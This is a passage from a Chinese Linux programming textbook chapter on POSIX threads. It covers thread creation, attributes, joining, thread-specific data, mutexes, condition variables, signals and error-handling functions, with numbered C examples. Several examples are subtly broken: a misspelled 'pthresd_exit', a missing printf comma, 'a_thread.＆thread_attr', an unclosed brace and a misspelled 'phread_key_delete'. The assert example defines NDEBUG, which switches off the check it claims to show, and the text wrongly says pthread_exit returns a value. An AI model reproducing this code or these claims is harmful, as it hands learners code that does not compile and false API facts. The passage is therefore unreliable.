Linux是支持多线程的，在一个进程内生成多个线程。一个进程可以拥有一个或多个线程。线程和进程二者之间的关系有以下几点。

1）首先，线程采用了多个线程可共享资源的设计思想。在多进程情况下，每个进程都有自己独立的地址空间，在多线程情况下，同一进程内的线程共享进程的地址空间。线程和进程的最大区别在于线程完全共享相同的地址空间，运行在同一地址上。

2）其次，由于进程地址空间独立而线程共享地址空间，所以从一个线程切换到另一线程所花的代价比进程低。

3）再次，进程本身的信息在内存中占用的空间比线程大。因此，线程更能充分地利用内存。线程可以看作是在进程内部执行的指定序列。

4）最后，线程间的通信比进程间的通信更加方便和省时。进程间的数据空间相互独立，彼此通信要以专门的通信方式进行，通信时必须经过操作系统，而同一进程的多个线程共享数据空间，一个线程的数据可以直接提供给其他线程使用，不必经过操作系统。

线程机制支持并发程序设计技术，在多处理器上能真正保证并行处理。而在Linux系统中实现线程很特别，Linux把所有的线程都当作进程实现。

在Linux下线程看起来就像普通进程（只是该进程和其他进程共享资源，如地址空间）。上述机制与Microsoft Windows或是Sun Solaris的实现差异很大。这些系统提供专门的支持线程机制（轻量级进程）。

一个进程的组成实体可以分为两大部分：线程集和资源集。进程中的线程是动态的对象，代表了进程指令的执行过程。资源包括地址空间、打开的文件、用户信息等，由进程内的线程共享。线程有自己的私有数据：程序计数器、栈空间以及寄存器。但是由于各线程共享进程的地址空间，因此可能会导致竞争，因此对某一块有多个线程要访问的数据需要一些同步技术。

系统支持Posix多线程接口，称为pthread（posix thread）。编写Linux下的多线程应用程序需要使用头文件pthread.h，连接时需要使用库libpthread.a。


17.1.2　线程分类

线程是一些相关指令的离散序列，线程与其他指令序列的执行相互独立，每个程序至少包括一个线程，即主线程。主线程负责程序的初始化工作，并且执行初始指令。此后主线程会为执行各种不同的任务决定是分别创建其他线程还是由主线程独立承担。不管哪种情况，每个程序至少都包含一个线程，并且每个线程都会维护自己当前的机器状态。目前，线程有用户线程和内核线程两种实现方法。

1.内核线程

Linux内核可以看作一个服务进程（管理软硬件资源，响应用户进程的种种合理以及不合理的请求），内核需要多个执行流并行，为了防止可能的阻塞，多线程化是必要的。内核线程就是内核的分身，一个分身可以处理一件特定事情。Linux内核使用内核线程来将内核分成几个功能模块，像kswapd、kflushd等，这在处理异步事件如异步I/O时特别有用。内核线程的使用是廉价的，唯一使用的资源就是内核栈和上下文切换时保存寄存器的空间。支持多线程的内核叫做多线程内核（multi-threads kernel）。内核线程的调度由内核负责，一个内核线程处于阻塞状态时不影响其他的内核线程，因为其是调度的基本单位。这与用户线程是不一样的。

内核线程或叫守护进程（daemon），在操作系统中占据相当大的比例，当Linux操作系统启动以后，尤其是X Window也启动以后，可以用"ps-ef"命令查看系统中的进程，这时会发现很多以"d"结尾的进程名，确切地说，名称显示里面加“[]”的，这些进程就是内核线程。系统的启动是从硬件-＞内核-＞用户态进程的，pid的分配是一个往前的循环的过程，所以随系统启动的内核线程的pid往往很小。

2.用户线程

用户线程在用户空间中实现，允许多线程的程序运行时不需要特定的内核支持，内核不需要直接对用户线程进行调度，内核的调度对象和传统进程一样，还是进程本身，内核并不知道用户线程的存在。

由于Linux内核没有轻量级进程（线程）的概念，因此不能独立地对用户线程进行调度，而是由一个线程运行库来组织线程的调度，其主要工作是在各个线程的栈之间调度。如果一个进程中的某一个线程调用了一个阻塞的系统调用，整个进程就会被调度程序切换为等待状态，其他线程得不到运行的机会。因此Linux使用了异步I/O机制。

用户线程的优点如下：

·某些线程操作的系统消耗大大减少。比如，对属于同一个进程的线程之间进行调度切换时，不需要调用系统调用，因此将减少额外的消耗，一个进程往往可以启动上千个线程。

·用户线程的实现方式可以被定制或修改，以适应特殊应用的要求。它对于多媒体实时过程等尤其有用。另外，默认情况下，用户线程可以比内核线程支持更多的线程。


17.2　创建线程

线程的创建通过函数pthread_create()来完成，该函数的原型如下：



#include＜pthread.h＞

int pthread_create(pthread_t*thread,pthread_attr_t*attr,void*(*start_routine)(void*),void*arg);



该函数创建线程，并为其分配一个唯一的标识符pthread_t。调用者提供一个将由该线程执行的函数，该调用还可以为线程显式指定一些属性。函数各参数含义如下：

·thread：该参数是一个指向线程标识符的指针，当线程创建成功时，用来返回创建的线程ID。

·attr：该参数是一个指向pthread_attr_t结构体的指针，该结构体用于指明线程的属性，NULL表示使用默认属性。

·start_routine：该参数为一个函数指针，指向线程创建后要调用的函数。这个被线程调用的函数也称为线程函数。

·arg：该参数指向传递给线程函数的参数。

如果创建的thread不需要参数，则最后一个参数设置为空指针。

线程创建成功时，pthread_create()函数返回0，若不为0则说明创建线程失败。常见的错误代码为EAGAIN和EINVAL。

在头文件pthread.h中还声明了其他一些有用的系统调用，如表17-1所示。
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【例17-1】创建线程

要求创建线程，并打印出主线程的ID和新创建的线程的ID。

[1]在Vi中创建一个新工程文件，命名为"example17_1.c"。

[2]在"example17_1.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜stdlib.h＞

#include＜unistd.h＞

#include＜pthread.h＞

void thread(void)

{

int i=0;

for(i=0;i＜5;i++)

{

printf("This is a new thread%u\n"pthread_self());

if(i==1)

pthresd_exit(0);

sleep(1);

}

}

int main(void)

{

pthread_t thid;

printf("main thread is%u\n",pthread_self());

if(pthread_create(＆thid,NULL,(void*)thread,NULL)!=0)

{

printf("creat thread error\n");

exit(1);

}

sleep(1);

exit(0);

}



[3]用GCC编译并运行程序，结果如图17-1所示。
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图　17-1　创建线程

程序首先打印出主线程的ID，然后打印出新创建的线程的ID。


17.3　线程属性

创建线程函数pthread_create()的第二个参数用来指定线程的属性。线程属性主要有绑定属性、分离属性、堆栈地址、堆栈大小、优先级等。其中系统默认的是非绑定、非分离、默认1MB的堆栈、与父进程同样级别的优先级。

（1）绑定属性

在Linux中，采用的是“一对一”的线程机制。也就是一个用户线程对应一个内核线程。绑定属性就是指一个用户线程固定地分配给一个内核线程，因为CPU时间片的调度是面向内核线程（轻量级进程）的，因此具有绑定属性的线程可以保证在需要的时候总有一个内核线程与之对应，而与之对应的非绑定属性就是指用户线程和内核线程的关系不是始终固定的，而是由系统来分配的。

（2）分离属性

分离属性是决定线程以一个什么样的方式来终止自己。在非分离情况下，当一个线程结束时，它多占用的线程没有得到释放，也就是没有真正地终止，需要通过pthread_join()来释放资源。而在分离属性情况下，一个线程结束时会立即释放它所占有的系统资源。但这里有一点要注意的是，如果设置一个线程分离属性，而这个线程又运行得非常快的话，那么它很可能在pthread_create()函数返回之前就终止了线程函数的运行，它终止以后就很有可能将线程号和系统资源移交给其他的线程使用，这时调用pthread_create()的线程就会得到错误的线程号。

下面来看如何设置线程的属性。

1.设置/获取detachstate属性

detachstate属性表示新创建的线程与进程中其他线程是处于分离状态还是可连接状态。其合法值包括：

·PTHREAD_CREATE_DETACHED：此选项使得使用attr创建的所有线程处于分离状态。线程终止时，系统将自动回收与带有此状态的线程相关联的资源。调用使用此属性创建的pthread_detach()或pthread_join()函数将导致错误。

·PTHREAD_CREATE_JOINABLE：此选项使得使用attr创建的所有线程处于可连接状态。线程终止时，不会回收与带有此状态的线程相关联的资源。要回收系统资源应用程序必须调用使用此属性创建的线程的pthread_detach()或pthread_join()函数。

detachstate的默认值是PTHREAD_CREATE_JOINABLE。设置线程的detachstate属性的函数声明如下：



int pthread_attr_setdetachstate(pthread_attr_t*attr,int detachstate);

/*用于设置已初始化属性对象attr中的detachstate属性*/



获取线程detachstate属性的函数声明如下：



int pthread_attr_getdetachstate(pthread_attr_t*attr,int*detachstate);/*获取detachstate属性*/



2.设置/获取guardsize属性

guardsize属性允许应用程序指定使用此属性对象创建的线程的守护区大小。所指定的守护区大小的单位为字节。大多数系统将守护区大小向上舍入为系统可配置变量PAGESIZE的倍数。如果指定了零值，则不会创建守护区。

为应用程序提供了guardsize属性的作用为：溢出保护可能会导致系统资源浪费。如果应用程序创建大量线程，并且已知这些线程永远不会溢出其栈，则可以关闭溢出保护区。通过关闭溢出保护区，可以节省系统资源。一个线程在栈上分配大型数据结构时，可能需要较大的溢出保护区来检测栈溢出。

guardsize的默认值为PAGESIZE字节。PAGESIZE的实际值与实现相关，并且不可以在所有实现上使用相同值。如果用户堆栈的存储不是由pthread库分配的，将忽略guardsize属性。应用程序负责防止堆栈溢出。设置线程的guardsize属性的函数声明如下：



int pthread_attr_setguardsize(pthread_attr_t*attr,size_t guardsize);

/*用于设置已初始化属性对象attr中的guardsize属性值*/



获取线程guardsize属性的函数声明如下：



int pthread_attr_getguardsize(pthread_attr_t*attr,size_t*guardsize);/*获取guardsize属性*/



3.设置/获取schedparam属性

schedparam属性的合法值因调度策略的不同而异。对于SCHED_FIFO和SCHED_RR调度策略，只需要schedparam属性的sched_priority成员。可以通过sched_get_priority_max()和sched_get_priority_min()获取sched_priority的合法值范围。其他调度策略的schedparam的必要内容是不确定的。

设置线程的schedparam属性的函数声明如下：



int pthread_attr_setschedparam(pthread_attr_t*attr,struct sched_param schedparam);

/*用于设置已初始化属性对象attr中的schedparam属性*/



获取线程schedparam属性的函数声明如下：



int pthread_attr_getschedparam(pthread_attr_t*attr,struct sched_param*schedparam);

/*获取schedparam属性*/



4.设置/获取schedpolicy属性

schedpolicy属性允许通过此属性对象创建的线程使用特定的调度策略，包括SCHED_OTHER（正常、非实时）、SCHED_RR（实时、轮转法）和SCHED_FIFO（实时、先入先出）这3种，默认为SCHED_OTHER。

设置线程的schedpolicy属性的函数声明如下：



int pthread_attr_setschedpolicy(pthread_attr_t*attr,int policy);

/*用于设置已初始化属性对象attr中的schedpolicy属性*/



获取线程schedpolicy属性的函数声明如下：



int pthread_attr_getschedpolicy(pthread_attr_t*attr,int*policy);/*获取schedpolicy属性*/



5.设置/获取inheritsched属性

inheritsched属性选用是从创建线程中继承还是从此属性对象中获得调度策略及关联属性。inheritsched有两种值可供选择：

·PTHREAD_INHERIT_SCHED：此选项指定从创建线程中继承调度策略及关联属性。如果使用attr创建了线程，将忽略attr参数中的调度策略和关联属性。

·PTHREAD_EXPLICIT_SCHED：此选项指定从此属性对象中获得已创建线程的调度策略及关联属性。

设置线程的inheritsched属性的函数声明如下：



int pthread_attr_setinheritsched(pthread_attr_t*attr,int inherit);/*用于设置已初始化属性对象attr中的inher-itsched属性*/



获取线程inheritsched属性的函数声明如下：



int pthread_attr_getinheritsched(pthread_attr_t*attr,int*inherit)

/*获取inheritsched属性*/



6.设置/获取scope属性

scope属性用来设置创建线程的竞争范围，其合法值包括：

·PTHREAD_SCOPE_SYSTEM：使用此竞争范围创建的线程，将与系统中（以及同一调度域中）的其他线程竞争资源。此属性一般用于表示用户线程应该直接绑定到内核调度实体。

·PTHREAD_SCOPE_PROCESS：使用此竞争范围创建的线程，将直接与其进程内使用此调度竞争范围创建的其他线程争用资源。此属性一般用于表示不应绑定用户线程（不绑定到任何特定的内核调度的实体）。

设置线程的scope属性的函数声明如下：



int pthread_attr_setscope(pthread_attr_t*attr,int scope);

/*用于设置已初始化属性对象attr中的scope属性*/



获取线程scope属性的函数声明如下：



int pthread_attr_getscope(pthread_attr_t*attr,int*scope);/*获取scope属性*/



7.设置/获取stackaddr属性

此属性选项指定创建的线程将要使用的堆栈地址。应用程序全面负责这些堆栈的分配、管理和取消分配。存储分配的选项为malloc（3C）、brk（2）和mmap（2）函数。如果使用此选项，则只能使用此属性对象创建一个线程。如果创建了多个线程，它们将使用同一个堆栈。stackaddr属性的默认值为NULL。如果线程用户堆栈的存储不是由库分配的（也就是说，stackaddr属性不是NULL），将忽略guardsize属性。

设置线程的stackaddr属性的函数声明如下：



int pthread_attr_setstackaddr(pthread_attr_t*attr,void*stackaddr);

/*用于设置已初始化属性对象attr中的stackaddr属性*/



获取线程stackaddr属性的函数声明如下：



int pthread_attr_getstackaddr(pthread_attr_t*attr,void**stackaddr);/*获取stackaddr属性*/



8.设置/获取stacksize属性

stacksize属性用来设置创建线程的用户堆栈大小。其合法值包括：

·PTHREAD_STACK_MIN：此选项指定使用此属性对象创建的线程的用户堆栈大小将使用默认堆栈大小。此值为某个线程所需的最小堆栈大小（以字节为单位）。对于所有线程来说，这个最小值可能无法接受。

·stacksize：具体的大小。定义使用此属性对象创建的线程的用户堆栈大小（以字节为单位）。此值必须大于或等于最小堆栈大小PTHREAD_STACK_MIN。

设置线程的stacksize属性的函数声明如下：



int pthread_attr_setstacksize(pthread_attr_t*attr,size_t stacksize);

/*用于设置已初始化属性对象attr中的stacksize属性*/



获取线程stacksize属性的函数声明如下：



int pthread_attr_getstacksize(pthread_attr_t*_attr,size_t*stacksize);/*获取stacksize属性*/



9.设置/获取guardsize属性

guardsize属性用来警戒堆栈的大小。设置线程的guardsize属性的函数声明如下：



int pthread_attr_setguardsize(pthread_attr_t*attr,size_t guardsize);

/*用于设置已初始化属性对象attr中的guardsize属性*/



获取线程guardsize属性的函数声明如下：



int pthread_attr_getguardsize(pthread_attr_t*_attr,size_t*guardsize);

/*获取guardsize属性*/



【例17-2】读取及设置线程属性

要求编写一个读取及设置线程detachstate属性的应用程序。

[1]在Vi中创建一个新工程文件，命名为"example17_2.c"。

[2]在"example17_2.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜stdlib.h＞

#include＜unistd.h＞

#include＜pthread.h＞

void*thread_function(void*arg);

char message[]="Thread processing!";

int thread_finished=0;

int main(int argc,char argv[])

{

int res;

int state;

pthread_t a_thread;

void*thread_result;

pthread_attr_t thread_attr;

res=pthread_attr_init(＆thread_attr);

if(res!=0)

{

perror("It is failed!");

exit(EXIT_FAILURE);

}

if((res=pthread_attr_getdetachstate(＆thread_attr,＆state))==-1)

{

perror("pthread_attr_getdetachstate");

exit(EXIT_FAILURE);

}

else

printf("The default detachstate is%d\n",state);

res=pthread_attr_setdetachstate(＆thread_attr,PTHREAD_CREATE_DETACHED);

if(res!=0)

{

perror("Setting detached attribute failed");

exit(EXIT_FAILURE);

}

res=pthread_create(＆a_thread.＆thread_attr,thread_function,(void*)message);

if(res!=0)

{

perror("Thread creation failed!");

exit(EXIT_FAILURE);

if((res=pthread_attr_getdetachstate(＆thread_attr,＆state))==-1)

{

perror("pthread_attr_getdetachstate");

exit(EXIT_FAILURE);

}

else

printf("The thread's detachstate is%d\n",state);

(void)pthread_attr_destroy(＆thread_attr);

sleep(2);

while(!thread_finished)

{

printf("Waiting for thread finished…\n");

sleep(1);

}

printf("Other thread finish!\n");

exit(EXIT_SUCCESS);

}

void*thread_function(void*arg)

{

sleep(1);

thread_finished=1;

pthread_exit(NULL);

}



[3]用GCC编译并运行程序，其结果如图17-2所示。
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图　17-2　读取及设置线程detachstate属性


17.4　线程等待和终止

1.线程等待

线程的等待通过函数pthread_join()来实现，该函数定义为：



int pthread_join(pthread_t_th,void**_thread_return);



该函数用来等待一个线程的结束，第1个参数为被等待的线程标识符，第2个参数为一个用户定义的指针，它可以用来存储被等待线程的返回值。这个函数是一个线程阻塞函数，调用它的函数将一直等待到被等待的线程结束为止，当函数返回时，处于等待状态的线程资源被收回。

2.线程终止

新创建的线程从执行用户定义的函数处开始执行，直到出现以下情况时退出。

·执行完成后隐式退出。

·由线程本身显示调用pthread_exit()函数退出。它的定义如下：



void pthread_exit(void*retval);



函数pthread_exit()终止调用的线程。参数retval的值对pthread_join()函数的成功有实际意义。pthread_exit()的retval参数必须指定，它不能够作为正在退出的线程的自动局部数据被分配。函数pthread_exit()在成功调用时返回0，失败时返回-1。

·被其他线程用pthread_cancel()函数终止：



pthread_cancel(pthread_t thread);



在某线程中调用此函数，可以终止由参数thread指定的线程。


17.5　私有数据

在多线程环境下，进程内的所有线程共享进程的数据空间，因此全局变量为所有线程共享，在程序设计中有时候需要保存线程自己的全局变量，这种特殊的变量仅在某个线程内部有效。线程私有数据采用了一种被称为一键多值的技术，即一个键对应多个值。访问数据时都是通过键值来访问，好像是对一个键值访问。

操作线程私有数据的函数主要有4个：pthread_key_create()（创建一个键），pthread_setspecific()（为一个键设置线程私有数据），pthread_getspecific()（从一个键读取线程私有数据），phread_key_delete()（删除一个键）。这些函数的声明如下：



#include＜pthread.h＞

int pthread_key_create(pthread_key_t*key,void(*destr_function)(void*));

int pthread_setspecific(pthread_key_t key,const void*pointer);

void*pthread_getspecific(pthread_key_t key);

int phread_key_delete(pthread_key_t key);



·pthread_key_create()：从Linux的TSD池中分配一项，将其值赋给key供以后访问使用，它的第1个参数key为指向键值的指针，第2个参数为一个函数指针，如果指针不为空，则在线程退出时将以key所关联的数据为参数调用destr_function()，释放分配的缓冲区。

·pthread_setspecific()：该函数将pointer的值与key相关联。用pthread_setspecific为一个键指定新的线程数据时，线程必须先释放原有的线程数据以回收空间。

·pthread_getspecific()：通过该函数得到与key相关联的数据。

·phread_key_delete()：该函数用来删除一个键，删除后，键所占用的内存将被释放。需要注意的是，键占用的内存被释放，与该键关联的线程数据所占用的内存并不被释放。因此，线程数据的释放必须在释放键之前完成。


17.6　线程同步

如果所涉及的线程是独立的，而且异步执行，也就是说每个线程都包含了运行时自身所需要的数据或方法，而不需要外部的资源或方法，也不必关心其他线程的状态或行为。但是，有时候在进行多线程的程序设计中需要实现多个线程共享同一段代码。这时，由于线程和线程之间互相竞争CPU资源，为了解决这个问题，必须引入同步机制。在Linux系统中提供了多种处理线程同步问题的方式，其中最常用的有互斥锁、条件变量和异步信号。


 17.6.1　互斥锁

互斥锁通过锁机制来实现线程间的同步，互斥锁从本质上说就是一把锁，提供对共享资源的保护访问。表17-2中列出了操作互斥锁的几个函数，这些函数都声明在头文件pthread.h中。
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1.初始化

在Linux下，线程的互斥锁在使用前要对它进行初始化。对于静态分配的互斥锁，可以把它设置为PTHREAD_MUTEX_INITIALIZER，或者调用pthread_mutex_init()。操作语句如下：



pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER;



对于动态分配的互斥量，在分配内存（malloc）之后，通过pthread_mutex_init()进行初始化，并且在释放（free）内存前需要调用pthread_mutex_destroy()来注销互斥锁。操作语句如下：



int pthread_mutex_init(pthread_mutex_t*restrict mutex,const pthread_mutexattr_t*restric attr);

int pthread_mutex_destroy(pthread_mutex_t*mutex);



返回值为：成功则返回0，出错则返回错误编号。

以上函数中的参数mutexattr表示互斥锁的属性，互斥锁的属性及意义见表17-3。
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如果使用默认的属性初始化互斥量，只需把attr设为NULL。

2.互斥操作

初始化以后就可以对互斥锁进行加锁，如果互斥锁已经被锁上，调用线程会阻塞，直到被解锁。加锁函数原型如下：



int pthread_mutex_lock(pthread_mutex_t*mutex);

int pthread_mutex_trylock(pthread_mutex_t*mutex);



返回值为：成功则返回0，出错则返回错误编号。

其中，pthread_mutex_trylock()函数是非阻塞调用模式，如果互斥锁没被锁住，pthread_mutex_trylock()函数将进行加锁，并获得对共享资源的访问权限；如果互斥锁被锁住了，pthread_mutex_trylock()函数将不会阻塞等待而直接返回忙状态。

解锁函数pthread_mutex_unlock()原型如下：



int pthread_mutex_unlock(pthread_mutex_t*mutex);



返回值为：成功则返回0，出错则返回错误编号。

3.死锁

死锁主要发生在有多个依赖锁存在时，会在一个线程试图以与另一个线程相反顺序锁住互斥锁时发生。死锁是使用互斥锁时应该尽量避免的。

【例17-3】互斥锁

要求编程实现互斥锁操作。

[1]在Vi中创建一个新工程文件，命名为"example17_3.c"。

[2]在"example17_3.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜pthread.h＞

#include＜unistd.h＞

void*thread1(void*arg);

int p1=1;

pthread_mutex_t mutex;/*定义互斥量*/

int main()

{

int res;

int count1=0;

pthread_t p;

if(pthread_mutex_init(＆mutex,NULL)!=0)/*初始化互斥量*/

{

perror("Mutex init failed!");

exit(1);

}

if(pthread_create(＆p,NULL,thread1,NULL)!=0)/*创建新线程*/

{

perror("Thread createion failed!");

exit(1);

}

if(pthread_mutex_lock(＆mutex)!=0)/*对互斥量加锁*/

{

perror("Lock failed");

exit(1);

}

else

printf("Main thread lock!\n");

while(count1++＜3)

{

if(p1==1)/*主线程*/

{

printf("Main thread is running!\n");

p1=2;

}

else

{

printf("Main thread is sleeping!\n");

sleep(1);

}

}

if(pthread_mutex_unlock(＆mutex)!=0)/*对互斥量解锁*/

{

perror("unlock failed");

exit(1);

}

else

printf("Main thread unlock!\n");

pthread_mutex_destroy(＆mutex);/*收回互斥量资源*/

pthread_join(p,NULL);/*等待子线程结束*/

exit(0);

}

void*thread1(void*arg)

{

int count2=0;

sleep(1);

if(pthread_mutex_lock(＆mutex)!=0)

{

perror("Lock failed");

exit(1);

}

else

printf("Thread lock!\n");

while(count2++＜3)

{

if(p1==2)/*分线程*/

{

printf("Thread is running\n");

p1=1;

}

else

{

printf("Thread is sleeping!\n");

sleep(1);

}

}

if(pthread_mutex_unlock(＆mutex)!=0)/*对互斥量解锁*/

{

perror("unlock failed");

exit(1);

}

else

printf("Thread unlock!\n");

pthread_exit(NULL);

}



[3]使用GCC编译并运行程序，结果如图17-3所示。
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图　17-3　互斥锁操作结果

该例子中，主线程占用互斥锁后，子线程试图占用同一把互斥锁时会被阻塞，直到主线程unlock这把锁。


17.6.2　条件变量

互斥锁的一个明显缺点是它只有两种状态：锁定和非锁定。而条件变量通过允许线程阻塞和等待另一个线程发送信号的方法弥补了互斥锁的不足，它常和互斥锁一起使用。使用时，条件变量被用来阻塞一个线程，当条件不满足时，线程往往解开相应的互斥锁并等待条件发生变化。一旦其他的某个线程改变了条件变量，它将通知相应的条件变量唤醒一个或多个正被此条件变量阻塞的线程。这些线程将重新锁定互斥锁并重新测试条件是否满足。一般说来，条件变量是利用线程间共享的全局变量进行同步的一种机制。条件变量宏观上类似if语句，符合条件就能执行某段程序，否则只能等待条件成立。Linux也提供了一系列对条件变量操作的函数。如表17-4所示。
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条件变量采用的数据类型是pthread_cond_t，在使用之前必须进行初始化。条件变量和互斥锁一样，也有静态和动态两种创建方式，静态方式使用PTHREAD_COND_INITIALIZER常量，代码如下：



pthread_cond_t cond=PTHREAD_COND_INITIALIZER;



动态方式调用pthread_cond_init()函数，其原型为：



int pthread_cond_init(pthread_cond_t*cond,pthread_condattr_t*cond_attr);



其中，cond是一个指向结构pthread_cond_t的指针，cond_attr是一个指向结构pthread_condattr_t的指针。结构pthread_condattr_t是条件变量的属性结构，和互斥锁一样可以用它来设置条件变量是进程内可用还是进程间可用，默认值是PTHREAD_PROCESS_PRIVATE，即此条件变量被同一进程内的各个线程使用。注意，初始化条件变量只有未被使用时才能重新初始化或被释放。

函数pthread_cond_wait()使线程阻塞在一个条件变量上。它的函数原型为：



int pthread_cond_wait(pthread_cond_t*cond,pthread_mutex_t*_mutex);



线程解开mutex指向的锁并被条件变量cond阻塞，直到条件被信号唤醒。

通常条件表达式在互斥锁的保护下求值，如果条件表达式为假，线程基于条件表达式阻塞。当一个线程改变条件变量值时，条件变量获得一个信号，使得等待条件变量的线程退出等待状态。

另一个用来阻塞线程的函数是pthread_cond_timedwait()，它的原型为：



int pthread_cond_timedwait(pthread_cond_t*cond,pthread_mutex_t*mutex,const struct timespec*abstime);



它比函数pthread_cond_wait()多了一个时间参数，经历abstime段时间后，即使条件变量不满足，阻塞也被解除。

线程可以被函数pthread_cond_signal()和函数pthread_cond_broadcast()唤醒，但是要注意的是，条件变量只是起阻塞和唤醒线程的作用，具体的判断条件还需用户给出。线程被唤醒后，它将重新检查判断条件是否满足，如果还不满足，一般说来线程应该仍阻塞在这里，被等待被下一次唤醒。这个过程一般用while语句实现。函数pthread_cond_signal()的原型为：



int pthread_cond_signal(pthread_cond_t*cond);



它用来释放被阻塞在条件变量cond上的一个线程。多个线程阻塞在此条件变量上时，哪一个线程被唤醒是由线程的调度策略所决定的。函数pthread_cond_broadcast()激活所有等待线程，其函数原型为：



int pthread_cond_broadcast(pthread_cond_t*cond);



当一个条件变量不再使用时，需要将其清除，清除一个条件变量使用函数pthread_cond_de-stroy()来实现，其函数原型为：



int pthread_cond_destroy(pthread_cond_t*cond);



pthread_cond_destroy()函数清除由cond指向的条件变量。

只有在没有线程等待该条件变量的时候才能清除这个条件变量，否则返回EBUSY。


17.6.3　异步信号

由于LinuxThreads是在核外使用核内轻量级进程实现的线程，所以基于内核的异步信号操作对于线程也是有效的。但同时，由于异步信号总是实际发往某个进程，所以无法实现Posix标准所要求的信号到达某个进程，然后再由该进程将信号分发到所有没有阻塞该信号的线程中，而是只能影响到其中一个线程。

信号与任何线程都是异步的，也就是信号到达线程的时间是不定的。如果有多个线程可以接收异步信号，则只有一个被选中。如果并发的多个同样的信号被送到一个进程，每一个将被不同的线程处理。如果所有的线程都屏蔽该信号，则这些信号将被挂起，直到有信号解除屏蔽来处理它们。

Linux多线程扩展函数中有3个函数用于处理异步信号：



int pthread_kill(pthread_t threadid,int signo);

int pthread_sigmask(int how,const sigset_t*newmask,sigset_t*oldmask);

int sigwait(const sigset_t*set,int*sig);



其中，函数pthread_kill()用来向特定的线程发送信号signo。函数pthread_sigmask()用来设置线程的信号屏蔽码，但对不允许屏蔽的Cancel信号和不允许响应的Reset信号进行了保护。函数sigwait()用来阻塞线程，等待set中指定的信号之一到达，并将到达的信号存入*sig中。


17.7　出错处理

在软件开发时需要时刻检查错误发生的各种可能，例如创建进程失败、打开文件失败等。当错误发生时，程序应当给出提示信息并进行相应的处理。

在调用库函数或系统调用函数后，绝大多数情况下执行成功返回0；如果执行失败则返回-1或空指针。这些值只能说明有错误发生，但没有说明错误的原因。查看错误代码errno是调试程序的一个重要方法。当函数发生异常时，一般会将errno变量赋一个整数值，不同的值表示不同的含义，可以通过查看该值推测出错的原因。

头文件errno.h定义了变量errno，它存储了错误发生时的错误码，通过错误码可以得到错误信息的描述。errno.h文件的部分内容如下：



#include＜errno.h＞

#ifndef errno

extern int errno;

……

#endif




 17.7.1　错误码

错误码是一些定义在errno.h中的宏，通常以字母E开头，后面由一系列大写字母或数字组成。

在定义自己的宏时，要注意避免与这些保留的宏名冲突。

部分常见的错误码如下所示。

·EPERM：没有操作权限。

·ENOENT：文件或目录不存在。

·ESRCH：没有此进程。

·EINTR：函数调用被中断。

·EIO：I/O错误。

·ENXIO：设备或地址不存在。

·E2BIG：参数过长。

·ENOEXEC：可执行文件格式无效。

·ECHILD：子进程不存在。

·EAGAIN：重试。

·ENOMEM：内存不足。

·ENOTDIR：当需要目录时指定一个目录文件。

·EINVAL：无效的参数。

·ENFILE：打开文件达到上限。

·EMFILE：当前进程打开的文件达到上限。

·EFBIG：文件太大。


17.7.2　出错处理相关函数

Linux编程出错处理常用的函数有assert()、abort()、exit()、atexit()、strerror()、perror()。

1.assert()

原型定义：



#include＜assert.h＞

void assert(int expression);



功能：assert()宏的原型定义在＜assert.h＞（）中，assert()先计算表达式expression，如果其值为假（即为0），那么它先向stderr打印一条出错信息，然后通过调用abort()来终止程序运行。

【例17-4】使用出错处理函数assert()

要求使用出错处理函数assert()来检出错误。

[1]在Vi中创建一个新工程文件，命名为"example17_4.c"。

[2]在"example17_4.c"中创建如下所示代码。



#include＜stdio.h＞

#define NDEBUG

#include＜assert.h＞

#include＜stdlib.h＞

int main(void)

{

FILE*fp;

fp=fopen("a.txt","w");/*以可写的方式打开文件,如不存在则创建一个同名文件*/

assert(fp);

fclose(fp);

fp=fopen("b.txt","r");/*以只读的方式打开文件,如果不存在则打开文件失败*/

assert(fp);/*此处出错*/

fclose(fp);

return 0;

}



程序中的a.txt是一个存在的文件，b.txt是一个不存在的文件。

[3]使用GCC编译并运行程序，结果如图17-4所示。
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图　17-4　出错处理函数assert()的使用

2.abort()

原型定义：



#include＜stdlib.h＞

void abort(void);



功能：当调用abort()函数时，会导致程序异常终止，而不会进行一些常规的清除工作，比如释放内存等。

【例17-5】使用出错处理函数abort()

要求使用出错处理函数abort()来检出错误。

[1]在Vi中创建一个新工程文件，命名为"example17_5.c"。

[2]在"example17_5.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜stdlib.h＞

int main(void)

{

puts("The program abort!\n");

abort();

printf("This program finished!\n");

exit(EXIT_SUCCESS);

}



[3]用GCC编译并运行程序，结果如图17-5所示。
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图　17-5　出错处理函数abort()的使用

3.exit()

原型定义：



#include＜stdlib.h＞

void exit(int status);



功能：exit()函数用来正常终结当前进程的执行，并把参数status返回给父进程，而进程所有的缓冲区数据会自动写回并关闭未关闭的文件。它并不像abort()那样不做任何清理工作就退出，而是在完成所有的清理工作后才退出程序。

4.atexit()

原型定义：



#include＜stdlib.h＞

int atexit(void(*function)(void));



功能：atexit()函数用来设置一个程序正常结束前调用的函数。当程序通过调用exit()或从main()中返回时，参数function所指定的函数会先被调用，然后才真正由exit()结束程序。如果执行成功则返回0，否则返回-1，失败原因存于errno中。

5.strerror()

原型定义：



#include＜string.h＞

char*strerror(int errnum);



功能：strerror()函数根据参数errnum的错误代码来查询其错误原因的描述字符串，然后将该字符串指针返回。这时如果把errno传给strerror，就可以得到可读的提示信息。

6.perror()

原型定义：



#include＜stdio.h＞

void perror(const char*message);



功能：该函数在stderr流中输出错误信息，stderr在Linux中通常是指屏幕或命令终端。调用perror()时，如果参数message是一个空指针或者一个空字符串，perror仅仅根据errno打印出对应的错误提示信息，以及一个换行符。如果提供的message参数非空，则perror函数将作为前缀首先输出该字符串的内容，然后添加一个冒号和空格字符，最后是errno对应的错误信息。


17.8　实践拓展

1.线程同步中临界区和互斥锁的区别

线程同步表示交由主线程运行代码，各个线程都在主线程中分时间段运行。另外，要想避免多个线程同时执行同一段代码也需要将多线程同步。临界区和互斥锁的作用类似，都是用来进行同步的，但它们之间存在以下差别：

·临界区是通过对多线程的串行化来访问公共资源或一段代码，速度快，适合控制数据访问；互斥锁是为协调共同对一个共享资源的单独访问而设计的。

·临界区只能在进程内使用，也就是说只能是进程内的线程间的同步；而互斥锁可用在进程之间。

·临界区所花费的时间很少，而互斥锁需要的时间较多；临界区随着进程的终止而终止，而互斥锁在进程终止后仍然在系统内存在。

2.正确处理Linux平台下的线程结束问题

